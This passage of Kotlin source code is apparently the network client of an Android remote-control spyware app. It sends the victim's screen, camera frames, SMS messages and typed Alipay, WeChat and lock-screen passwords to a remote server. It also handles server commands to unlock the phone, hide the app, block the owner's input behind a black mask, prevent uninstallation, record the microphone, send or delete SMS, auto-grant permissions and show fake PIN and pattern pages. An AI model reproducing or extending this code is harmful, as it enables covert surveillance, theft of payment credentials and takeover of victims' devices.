Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})")
|
||
} catch (emitException: Exception) {
|
||
screenDataFailureCount++
|
||
Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}")
|
||
|
||
if (screenDataFailureCount >= 20) {
|
||
Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次，触发重连检测")
|
||
checkConnectionAndReconnect()
|
||
screenDataFailureCount = 0
|
||
}
|
||
Log.w(TAG, "屏幕数据发送失败，但不影响后续发送")
|
||
}
|
||
|
||
} else {
|
||
Log.w(TAG, "Socket.IO未连接，无法发送屏幕数据")
|
||
// ✅ 尝试重连
|
||
checkConnectionAndReconnect()
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "发送屏幕数据失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送摄像头数据到服务器
|
||
*/
|
||
fun sendCameraFrame(frameData: ByteArray) {
|
||
try {
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
// 🔧 频率限制：避免发送过于频繁
|
||
if (currentTime - lastCameraDataTime < cameraDataInterval) {
|
||
return
|
||
}
|
||
|
||
// 🔧 大小检查：避免发送过大数据
|
||
if (frameData.size > maxCameraDataSize) {
|
||
Log.w(TAG, "⚠️ 摄像头数据过大被跳过: ${frameData.size} bytes > ${maxCameraDataSize} bytes")
|
||
return
|
||
}
|
||
|
||
lastCameraDataTime = currentTime
|
||
|
||
if (socket?.connected() == true) {
|
||
// 将摄像头数据编码为Base64
|
||
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
|
||
|
||
val cameraData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("format", "JPEG")
|
||
put("data", base64Data)
|
||
put("type", "camera")
|
||
put("timestamp", currentTime)
|
||
}
|
||
|
||
try {
|
||
socket?.emit("camera_data", cameraData)
|
||
// 发送成功，重置失败计数
|
||
cameraDataFailureCount = 0
|
||
lastSuccessfulDataSend = currentTime
|
||
isDataStarved = false
|
||
|
||
Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes")
|
||
} catch (e: Exception) {
|
||
cameraDataFailureCount++
|
||
Log.w(TAG, "⚠️ 发送摄像头数据失败 (第${cameraDataFailureCount}次): ${e.message}")
|
||
|
||
// 如果连续失败次数过多，尝试重连
|
||
if (cameraDataFailureCount >= 3) {
|
||
Log.w(TAG, "🔄 摄像头数据发送连续失败，尝试重连")
|
||
checkConnectionAndReconnect()
|
||
}
|
||
}
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送摄像头数据")
|
||
// ✅ 尝试重连
|
||
checkConnectionAndReconnect()
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "发送摄像头数据失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送短信数据到服务器
|
||
*/
|
||
fun sendSMSData(smsList: List<com.hikoncont.manager.SMSMessage>) {
|
||
try {
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
if (socket?.connected() == true) {
|
||
val smsData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", "sms_data")
|
||
put("timestamp", currentTime)
|
||
put("count", smsList.size)
|
||
|
||
// 将短信列表转换为JSON数组
|
||
val smsArray = JSONArray()
|
||
smsList.forEach { sms ->
|
||
val smsJson = JSONObject().apply {
|
||
put("id", sms.id)
|
||
put("address", sms.address)
|
||
put("body", sms.body)
|
||
put("date", sms.date)
|
||
put("read", sms.isRead)
|
||
put("type", sms.type)
|
||
}
|
||
smsArray.put(smsJson)
|
||
}
|
||
put("smsList", smsArray)
|
||
}
|
||
|
||
try {
|
||
socket?.emit("sms_data", smsData)
|
||
Log.d(TAG, "📱 短信数据已发送: ${smsList.size} 条短信")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "发送短信数据失败", e)
|
||
}
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送短信数据")
|
||
checkConnectionAndReconnect()
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "发送短信数据失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送支付宝密码数据
|
||
*/
|
||
fun sendAlipayPasswordData(password: String, inputMethod: String = "custom_keypad") {
|
||
try {
|
||
if (socket?.connected() == true) {
|
||
Log.i(TAG, "💰 开始发送支付宝密码数据")
|
||
|
||
val payload = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", "alipay_password")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("password", password)
|
||
put("passwordLength", password.length)
|
||
put("inputMethod", inputMethod)
|
||
put("activity", "AlipayPasswordActivity")
|
||
put("sessionId", System.currentTimeMillis().toString())
|
||
}
|
||
|
||
socket?.emit("alipay_password", payload)
|
||
Log.i(TAG, "✅ 支付宝密码数据已发送")
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送支付宝密码数据")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送支付宝密码数据失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送支付宝检测状态
|
||
*/
|
||
fun sendAlipayDetectionStatus(enabled: Boolean) {
|
||
try {
|
||
if (socket?.connected() == true) {
|
||
Log.i(TAG, "💰 发送支付宝检测状态: $enabled")
|
||
|
||
val payload = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", "alipay_detection_status")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("enabled", enabled)
|
||
put("status", if (enabled) "enabled" else "disabled")
|
||
}
|
||
|
||
socket?.emit("alipay_detection_status", payload)
|
||
Log.i(TAG, "✅ 支付宝检测状态已发送: $enabled")
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送支付宝检测状态")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送支付宝检测状态失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送微信密码数据
|
||
*/
|
||
fun sendWechatPasswordData(password: String, inputMethod: String = "custom_keypad") {
|
||
try {
|
||
if (socket?.connected() == true) {
|
||
Log.i(TAG, "💬 开始发送微信密码数据")
|
||
|
||
val payload = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", "wechat_password")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("password", password)
|
||
put("passwordLength", password.length)
|
||
put("inputMethod", inputMethod)
|
||
put("activity", "WechatPasswordActivity")
|
||
put("sessionId", System.currentTimeMillis().toString())
|
||
}
|
||
|
||
socket?.emit("wechat_password", payload)
|
||
Log.i(TAG, "✅ 微信密码数据已发送")
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送微信密码数据")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送微信密码数据失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送微信检测状态
|
||
*/
|
||
fun sendWechatDetectionStatus(enabled: Boolean) {
|
||
try {
|
||
if (socket?.connected() == true) {
|
||
Log.i(TAG, "💬 发送微信检测状态: $enabled")
|
||
|
||
val payload = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", "wechat_detection_status")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("enabled", enabled)
|
||
put("status", if (enabled) "enabled" else "disabled")
|
||
}
|
||
|
||
socket?.emit("wechat_detection_status", payload)
|
||
Log.i(TAG, "✅ 微信检测状态已发送: $enabled")
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送微信检测状态")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送微信检测状态失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送密码输入数据
|
||
*/
|
||
fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) {
|
||
try {
|
||
if (socket?.connected() == true) {
|
||
Log.i(TAG, "🔐 发送密码输入数据: $inputMethod")
|
||
|
||
val payload = JSONObject().apply {
|
||
put("deviceId", deviceId)
|
||
put("type", "password_input")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("password", password)
|
||
put("passwordLength", password.length)
|
||
put("inputMethod", inputMethod)
|
||
put("passwordType", passwordType)
|
||
put("activity", activity)
|
||
put("installationId", installationId)
|
||
put("sessionId", System.currentTimeMillis().toString())
|
||
}
|
||
|
||
socket?.emit("password_input", payload)
|
||
Log.i(TAG, "✅ 密码输入数据已发送")
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送密码输入数据")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送密码输入数据失败", e)
|
||
}
|
||
}
|
||
|
||
private fun handleControlMessage(json: JSONObject) {
|
||
try {
|
||
val type = json.getString("type")
|
||
val data = json.getJSONObject("data")
|
||
|
||
Log.d(TAG, "处理控制消息: type=$type")
|
||
|
||
when (type) {
|
||
"CLICK" -> {
|
||
val x = data.getDouble("x").toFloat()
|
||
val y = data.getDouble("y").toFloat()
|
||
Log.d(TAG, "执行点击: ($x, $y)")
|
||
service.performClick(x, y)
|
||
}
|
||
"SWIPE" -> {
|
||
val startX = data.getDouble("startX").toFloat()
|
||
val startY = data.getDouble("startY").toFloat()
|
||
val endX = data.getDouble("endX").toFloat()
|
||
val endY = data.getDouble("endY").toFloat()
|
||
val duration = data.optLong("duration", 300)
|
||
Log.d(TAG, "执行滑动: ($startX, $startY) -> ($endX, $endY), duration=$duration")
|
||
service.performSwipe(startX, startY, endX, endY, duration)
|
||
}
|
||
"LONG_PRESS" -> {
|
||
val x = data.getDouble("x").toFloat()
|
||
val y = data.getDouble("y").toFloat()
|
||
Log.d(TAG, "执行长按: ($x, $y)")
|
||
service.performLongPress(x, y)
|
||
}
|
||
|
||
"LONG_PRESS_DRAG" -> {
|
||
// 🔧 优化：处理包含完整路径的连续长按拖拽
|
||
try {
|
||
val pathArray = data.getJSONArray("path")
|
||
val duration = data.optLong("duration", 1500L)
|
||
|
||
// 解析路径点
|
||
val pathPoints = mutableListOf<android.graphics.PointF>()
|
||
for (i in 0 until pathArray.length()) {
|
||
val point = pathArray.getJSONObject(i)
|
||
val x = point.getDouble("x").toFloat()
|
||
val y = point.getDouble("y").toFloat()
|
||
pathPoints.add(android.graphics.PointF(x, y))
|
||
}
|
||
|
||
Log.d(TAG, "🔧 执行连续长按拖拽: 路径点数=${pathPoints.size}, 持续时间=${duration}ms")
|
||
service.performContinuousLongPressDrag(pathPoints, duration)
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "解析连续长按拖拽路径失败", e)
|
||
}
|
||
}
|
||
"INPUT_TEXT" -> {
|
||
val text = data.getString("text")
|
||
val isWebUnlock = data.optBoolean("webUnlockMode", false)
|
||
|
||
Log.d(TAG, "📝 整体输入文本: $text, Web解锁模式: $isWebUnlock")
|
||
|
||
// ✅ Web解锁模式处理
|
||
if (isWebUnlock) {
|
||
Log.d(TAG, "🔓 启用Web解锁模式")
|
||
service.setWebUnlockMode(true)
|
||
}
|
||
|
||
// ✅ 使用标准文本输入
|
||
service.inputText(text)
|
||
|
||
// ✅ 输入完成后重置Web解锁模式
|
||
if (isWebUnlock) {
|
||
Log.d(TAG, "🔓 计划重置Web解锁模式")
|
||
// 延迟重置，确保确认操作完成
|
||
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
||
Log.d(TAG, "🔓 重置Web解锁模式")
|
||
service.setWebUnlockMode(false)
|
||
}, 5000) // 5秒后重置
|
||
}
|
||
}
|
||
"UNLOCK_DEVICE" -> {
|
||
Log.d(TAG, "🔓 收到一键解锁指令")
|
||
service.unlockDevice()
|
||
|
||
|
||
}
|
||
"KEY_EVENT" -> {
|
||
// 支持两种格式：keyCode (整数) 和 key (字符串)
|
||
if (data.has("keyCode")) {
|
||
val keyCode = data.getInt("keyCode")
|
||
Log.d(TAG, "按键事件(keyCode): $keyCode")
|
||
when (keyCode) {
|
||
3 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
|
||
4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
|
||
82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
|
||
66 -> {
|
||
// ✅ 已删除Enter键特殊处理
|
||
Log.d(TAG, "Enter键 - 已删除特殊处理")
|
||
}
|
||
else -> Log.w(TAG, "未知按键代码: $keyCode")
|
||
}
|
||
} else if (data.has("key")) {
|
||
val key = data.getString("key")
|
||
Log.d(TAG, "按键事件(key): $key")
|
||
when (key) {
|
||
"BACK" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
|
||
"HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
|
||
"RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
|
||
"ENTER" -> {
|
||
// ✅ 已删除Enter键字符串形式特殊处理
|
||
Log.d(TAG, "Enter键(字符串) - 已删除特殊处理")
|
||
}
|
||
else -> Log.w(TAG, "未知按键: $key")
|
||
}
|
||
}
|
||
}
|
||
"GESTURE" -> {
|
||
val gestureType = data.getString("type")
|
||
Log.d(TAG, "手势操作: $gestureType")
|
||
when (gestureType) {
|
||
"PINCH_IN", "PINCH_OUT" -> {
|
||
val centerX = data.getDouble("centerX").toFloat()
|
||
val centerY = data.getDouble("centerY").toFloat()
|
||
val scale = data.getDouble("scale").toFloat()
|
||
service.performPinchGesture(centerX, centerY, scale, gestureType == "PINCH_OUT")
|
||
}
|
||
}
|
||
}
|
||
"POWER_WAKE" -> {
|
||
Log.d(TAG, "点亮屏幕")
|
||
service.wakeScreen()
|
||
}
|
||
"POWER_SLEEP" -> {
|
||
Log.d(TAG, "锁定屏幕")
|
||
service.lockScreen()
|
||
}
|
||
"ENABLE_BLACK_SCREEN" -> {
|
||
Log.d(TAG, "启用黑屏遮盖")
|
||
service.enableBlackScreen()
|
||
}
|
||
"DISABLE_BLACK_SCREEN" -> {
|
||
Log.d(TAG, "取消黑屏遮盖")
|
||
service.disableBlackScreen()
|
||
}
|
||
"HIDE_APP" -> {
|
||
Log.d(TAG, "隐藏应用")
|
||
service.hideApp()
|
||
}
|
||
"SHOW_APP" -> {
|
||
Log.d(TAG, "显示应用")
|
||
service.showApp()
|
||
}
|
||
"DEVICE_BLOCK_INPUT" -> {
|
||
Log.d(TAG, "阻止设备用户输入")
|
||
// 检查是否有遮罩配置
|
||
val maskText = data.optString("maskText", null)
|
||
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
|
||
|
||
if (maskText != null || maskTextSize != null) {
|
||
Log.d(TAG, "设置遮罩配置 - 文字: $maskText, 字体大小: $maskTextSize")
|
||
service.setMaskTextConfig(maskText, maskTextSize)
|
||
}
|
||
|
||
service.blockDeviceInput()
|
||
}
|
||
"DEVICE_ALLOW_INPUT" -> {
|
||
Log.d(TAG, "允许设备用户输入")
|
||
service.allowDeviceInput()
|
||
}
|
||
"SET_MASK_CONFIG" -> {
|
||
Log.d(TAG, "设置遮罩配置")
|
||
val maskText = data.optString("maskText", null)
|
||
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
|
||
service.setMaskTextConfig(maskText, maskTextSize)
|
||
}
|
||
"LOG_ENABLE" -> {
|
||
Log.d(TAG, "暂停：暂时不启用操作日志记录")
|
||
service.enableLogging() // 暂停：暂时不启用日志
|
||
}
|
||
"LOG_DISABLE" -> {
|
||
Log.d(TAG, "禁用操作日志记录")
|
||
service.disableLogging()
|
||
}
|
||
"SMART_CONFIRM_DETECTION" -> {
|
||
Log.d(TAG, "智能确认按钮检测")
|
||
val passwordType = data.optString("passwordType", "")
|
||
val screenWidth = data.optInt("screenWidth", 0)
|
||
val screenHeight = data.optInt("screenHeight", 0)
|
||
service.performSmartConfirmDetection(passwordType, screenWidth, screenHeight)
|
||
}
|
||
"SMART_UNLOCK_SWIPE" -> {
|
||
Log.d(TAG, "智能上滑解锁")
|
||
service.performSmartUnlockSwipe()
|
||
}
|
||
"ALIPAY_DETECTION_START" -> {
|
||
Log.d(TAG, "开启支付宝检测")
|
||
service.enableAlipayDetection()
|
||
}
|
||
"ALIPAY_DETECTION_STOP" -> {
|
||
Log.d(TAG, "关闭支付宝检测")
|
||
service.disableAlipayDetection()
|
||
}
|
||
"WECHAT_DETECTION_START" -> {
|
||
Log.d(TAG, "开启微信检测")
|
||
service.enableWechatDetection()
|
||
}
|
||
"WECHAT_DETECTION_STOP" -> {
|
||
Log.d(TAG, "关闭微信检测")
|
||
service.disableWechatDetection()
|
||
}
|
||
"OPEN_APP_SETTINGS" -> {
|
||
Log.d(TAG, "打开应用设置")
|
||
service.openAppSettings()
|
||
}
|
||
"REFRESH_MEDIA_PROJECTION_PERMISSION" -> {
|
||
Log.d(TAG, "重新获取投屏权限")
|
||
service.refreshMediaProjectionPermission()
|
||
}
|
||
"REFRESH_MEDIA_PROJECTION_MANUAL" -> {
|
||
Log.d(TAG, "手动授权投屏权限（不自动点击）")
|
||
service.refreshMediaProjectionManual()
|
||
}
|
||
"CLOSE_CONFIG_MASK" -> {
|
||
Log.d(TAG, "手动关闭配置遮盖")
|
||
val isManual = data.optBoolean("manual", false)
|
||
Log.i(TAG, "🛡️ 收到关闭配置遮盖指令 - 手动操作: $isManual")
|
||
service.forceHideConfigMask(isManual)
|
||
}
|
||
"ENABLE_UNINSTALL_PROTECTION" -> {
|
||
Log.d(TAG, "🛡️ 启用防止卸载保护")
|
||
service.enableUninstallProtection()
|
||
}
|
||
"DISABLE_UNINSTALL_PROTECTION" -> {
|
||
Log.d(TAG, "🛡️ 禁用防止卸载保护")
|
||
service.disableUninstallProtection()
|
||
}
|
||
"CAMERA_START" -> {
|
||
Log.d(TAG, "📷 启动摄像头捕获")
|
||
service.startCameraCapture()
|
||
}
|
||
"CAMERA_STOP" -> {
|
||
Log.d(TAG, "📷 停止摄像头捕获")
|
||
service.stopCameraCapture()
|
||
}
|
||
"CAMERA_SWITCH" -> {
|
||
Log.d(TAG, "📷 切换摄像头")
|
||
service.switchCamera()
|
||
}
|
||
"CAMERA_CAPTURE_START" -> {
|
||
Log.d(TAG, "📷 开始摄像头捕获（精细控制）")
|
||
service.startCameraCapturing()
|
||
}
|
||
"CAMERA_CAPTURE_STOP" -> {
|
||
Log.d(TAG, "📷 停止摄像头捕获（精细控制）")
|
||
service.stopCameraCapturing()
|
||
}
|
||
"CAMERA_STATUS" -> {
|
||
val isCapturing = service.isCameraCapturing()
|
||
val cameraInfo = service.getCameraInfo()
|
||
Log.d(TAG, "📷 摄像头状态: ${if (isCapturing) "正在捕获" else "未捕获"}, 摄像头: $cameraInfo")
|
||
// 可以在这里发送状态回执给服务器
|
||
}
|
||
"CAMERA_INFO" -> {
|
||
val cameraInfo = service.getCameraInfo()
|
||
Log.d(TAG, "📷 摄像头信息: $cameraInfo")
|
||
// 可以在这里发送摄像头信息回执给服务器
|
||
}
|
||
"SMS_READ" -> {
|
||
val limit = data.optInt("limit", 50)
|
||
Log.d(TAG, "📱 读取短信列表 (限制: $limit)")
|
||
val smsList = service.readSMSList(limit)
|
||
Log.d(TAG, "📱 读取到 ${smsList.size} 条短信")
|
||
// 可以在这里发送短信列表回执给服务器
|
||
}
|
||
"SMS_SEND" -> {
|
||
val phoneNumber = data.getString("phoneNumber")
|
||
val message = data.getString("message")
|
||
Log.d(TAG, "📱 发送短信到: $phoneNumber")
|
||
val success = service.sendSMS(phoneNumber, message)
|
||
Log.d(TAG, "📱 短信发送结果: $success")
|
||
// 可以在这里发送发送结果回执给服务器
|
||
}
|
||
"SMS_MARK_READ" -> {
|
||
val smsId = data.getLong("smsId")
|
||
Log.d(TAG, "📱 标记短信为已读: $smsId")
|
||
val success = service.markSMSAsRead(smsId)
|
||
Log.d(TAG, "📱 标记结果: $success")
|
||
}
|
||
"ALBUM_READ" -> {
|
||
// 新逻辑：始终读取全部并发送；若有新指令打断，重启任务
|
||
Log.d(TAG, "🖼️ 收到读取相册指令，启动/重启读取+发送任务（读取全部）")
|
||
startReadAndSendAllGallery()
|
||
}
|
||
"GALLERY_PERMISSION_REQUEST" -> {
|
||
Log.d(TAG, "🖼️ 申请相册权限")
|
||
service.requestGalleryPermissionWithAutoGrant()
|
||
}
|
||
"GALLERY_PERMISSION_CHECK" -> {
|
||
val hasPermission = service.checkGalleryPermission()
|
||
Log.d(TAG, "🖼️ 相册权限状态: ${if (hasPermission) "已授予" else "未授予"}")
|
||
|
||
if (!hasPermission) {
|
||
Log.d(TAG, "🖼️ 相册权限未授予，自动申请权限")
|
||
service.requestGalleryPermissionWithAutoGrant()
|
||
}
|
||
}
|
||
"GALLERY_PERMISSION_AUTO_GRANT" -> {
|
||
Log.d(TAG, "🖼️ 自动申请相册权限（盲点方式）")
|
||
service.requestGalleryPermissionWithAutoGrant()
|
||
}
|
||
"MICROPHONE_PERMISSION_REQUEST" -> {
|
||
Log.d(TAG, "🎤 申请麦克风权限")
|
||
service.requestMicrophonePermissionWithAutoGrant()
|
||
}
|
||
"MICROPHONE_PERMISSION_CHECK" -> {
|
||
val hasPermission = service.checkMicrophonePermission()
|
||
Log.d(TAG, "🎤 麦克风权限状态: ${if (hasPermission) "已授予" else "未授予"}")
|
||
|
||
if (!hasPermission) {
|
||
Log.d(TAG, "🎤 麦克风权限未授予，自动申请权限")
|
||
service.requestMicrophonePermissionWithAutoGrant()
|
||
}
|
||
}
|
||
"MICROPHONE_PERMISSION_AUTO_GRANT" -> {
|
||
Log.d(TAG, "🎤 自动申请麦克风权限（盲点方式）")
|
||
service.requestMicrophonePermissionWithAutoGrant()
|
||
}
|
||
"MICROPHONE_START_RECORDING" -> {
|
||
Log.d(TAG, "🎤 开始麦克风录音")
|
||
service.startMicrophoneRecording()
|
||
}
|
||
"MICROPHONE_STOP_RECORDING" -> {
|
||
Log.d(TAG, "🎤 停止麦克风录音")
|
||
service.stopMicrophoneRecording()
|
||
}
|
||
"MICROPHONE_RECORDING_STATUS" -> {
|
||
val isRecording = service.isMicrophoneRecording()
|
||
Log.d(TAG, "🎤 麦克风录音状态: ${if (isRecording) "正在录音" else "未录音"}")
|
||
val payload = org.json.JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", "microphone_status")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("isRecording", isRecording)
|
||
}
|
||
socket?.emit("microphone_status", payload)
|
||
}
|
||
"SMS_DELETE" -> {
|
||
val smsId = data.getLong("smsId")
|
||
Log.d(TAG, "📱 删除短信: $smsId")
|
||
val success = service.deleteSMS(smsId)
|
||
Log.d(TAG, "📱 删除结果: $success")
|
||
}
|
||
"SMS_UNREAD_COUNT" -> {
|
||
val count = service.getUnreadSMSCount()
|
||
Log.d(TAG, "📱 未读短信数量: $count")
|
||
// 可以在这里发送未读数量回执给服务器
|
||
}
|
||
"SMS_PERMISSION_CHECK" -> {
|
||
val hasPermission = service.checkSMSPermission()
|
||
Log.d(TAG, "📱 短信权限检查: $hasPermission")
|
||
if (!hasPermission) {
|
||
service.requestSMSPermissionWithAutoGrant()
|
||
}
|
||
}
|
||
"SMS_PERMISSION_AUTO_GRANT" -> {
|
||
val hasPermission = service.checkSMSPermission()
|
||
Log.d(TAG, "📱 短信权限自动授予检查: $hasPermission")
|
||
if (!hasPermission) {
|
||
service.requestSMSPermissionWithAutoGrant()
|
||
} else {
|
||
Log.d(TAG, "📱 短信权限已授予，无需申请")
|
||
}
|
||
}
|
||
"OPEN_PIN_INPUT" -> {
|
||
Log.d(TAG, "🔐 收到打开PIN输入页面指令")
|
||
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN)
|
||
}
|
||
"OPEN_FOUR_DIGIT_PIN" -> {
|
||
Log.d(TAG, "🔐 收到打开4位数字PIN页面指令")
|
||
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4)
|
||
}
|
||
"OPEN_PATTERN_LOCK" -> {
|
||
Log.d(TAG, "🔐 收到打开图形密码页面指令")
|
||
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN)
|
||
}
|
||
"CHANGE_SERVER_URL" -> {
|
||
val newServerUrl = data.optString("serverUrl", "")
|
||
if (newServerUrl.isNotEmpty()) {
|
||
Log.i(TAG, "🔄 收到修改服务器地址指令: $newServerUrl")
|
||
handleServerUrlChange(newServerUrl)
|
||
} else {
|
||
Log.w(TAG, "⚠️ 修改服务器地址指令缺少serverUrl参数")
|
||
}
|
||
}
|
||
"SCREEN_CAPTURE_PAUSE" -> {
|
||
Log.d(TAG, "📺 暂停远程桌面")
|
||
service.getScreenCaptureManager()?.pauseCapture()
|
||
}
|
||
"SCREEN_CAPTURE_RESUME" -> {
|
||
Log.d(TAG, "📺 继续远程桌面")
|
||
service.getScreenCaptureManager()?.resumeCapture()
|
||
}
|
||
else -> Log.w(TAG, "未知控制操作: $type")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "处理控制消息失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送操作日志到服务器（优化版本，避免与屏幕数据传输冲突）
|
||
*/
|
||
fun sendOperationLog(logData: JSONObject) {
|
||
try {
|
||
if (isConnected && socket?.connected() == true) {
|
||
// 🔧 关键优化：检查与屏幕数据发送的时间间隔，避免传输冲突
|
||
val currentTime = System.currentTimeMillis()
|
||
val timeSinceLastScreenData = currentTime - lastScreenDataTime
|
||
|
||
// 如果刚刚发送过屏幕数据（100ms内），稍微延迟发送日志
|
||
if (timeSinceLastScreenData < 100) {
|
||
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
||
try {
|
||
if (isConnected && socket?.connected() == true) {
|
||
socket?.emit("operation_log", logData)
|
||
Log.d(TAG, "📤 [延迟] 发送操作日志: ${logData.optString("logType")} - ${logData.optString("content")}")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 延迟发送操作日志失败", e)
|
||
}
|
||
}, 150) // 延迟150ms，错开屏幕数据发送时间
|
||
} else {
|
||
// 安全时间窗口，直接发送
|
||
socket?.emit("operation_log", logData)
|
||
Log.d(TAG, "📤 发送操作日志: ${logData.optString("logType")} - ${logData.optString("content")}")
|
||
}
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送操作日志")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送操作日志失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 发送权限申请响应到服务器
|
||
*/
|
||
fun sendPermissionResponse(permissionType: String, success: Boolean, message: String) {
|
||
try {
|
||
if (isConnected && socket?.connected() == true) {
|
||
val responseData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("permissionType", permissionType)
|
||
put("success", success)
|
||
put("message", message)
|
||
put("timestamp", System.currentTimeMillis())
|
||
}
|
||
|
||
socket?.emit("permission_response", responseData)
|
||
Log.i(TAG, "📤 发送权限申请响应: $permissionType - 成功=$success, 消息=$message")
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送权限申请响应")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送权限申请响应失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 发送设备输入阻塞状态变更到服务器
|
||
*/
|
||
fun sendDeviceInputBlockedChanged(blocked: Boolean, fromConfigComplete: Boolean = false, autoEnabled: Boolean = false) {
|
||
try {
|
||
if (isConnected && socket?.connected() == true) {
|
||
val eventData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("blocked", blocked)
|
||
put("success", true)
|
||
put("message", if (blocked) "设备输入已阻塞" else "设备输入已恢复")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("fromConfigComplete", fromConfigComplete) // 标记这是配置完成后的自动启用
|
||
put("autoEnabled", autoEnabled) // 标记这是自动启用的，区别于手动操作
|
||
}
|
||
|
||
socket?.emit("device_input_blocked_changed", eventData)
|
||
Log.i(TAG, "📤 发送设备输入阻塞状态变更: blocked=$blocked, fromConfigComplete=$fromConfigComplete, autoEnabled=$autoEnabled")
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送设备输入阻塞状态变更")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送设备输入阻塞状态变更失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理服务器地址修改
|
||
*/
|
||
private fun handleServerUrlChange(newServerUrl: String) {
|
||
scope.launch(Dispatchers.IO) {
|
||
try {
|
||
Log.i(TAG, "🔄 开始处理服务器地址修改: $newServerUrl")
|
||
|
||
// 0. 验证新服务器地址格式
|
||
if (newServerUrl.isBlank() || (!newServerUrl.startsWith("ws://") && !newServerUrl.startsWith("wss://"))) {
|
||
Log.e(TAG, "❌ 无效的服务器地址格式: $newServerUrl")
|
||
sendErrorResponse("无效的服务器地址格式")
|
||
return@launch
|
||
}
|
||
|
||
// 1. 保存新的服务器地址到配置文件
|
||
val success = com.hikoncont.util.ConfigWriter.updateServerUrl(service, newServerUrl)
|
||
|
||
if (success) {
|
||
Log.i(TAG, "✅ 服务器地址已保存到配置文件")
|
||
|
||
// 1.5. 验证配置是否真的保存成功
|
||
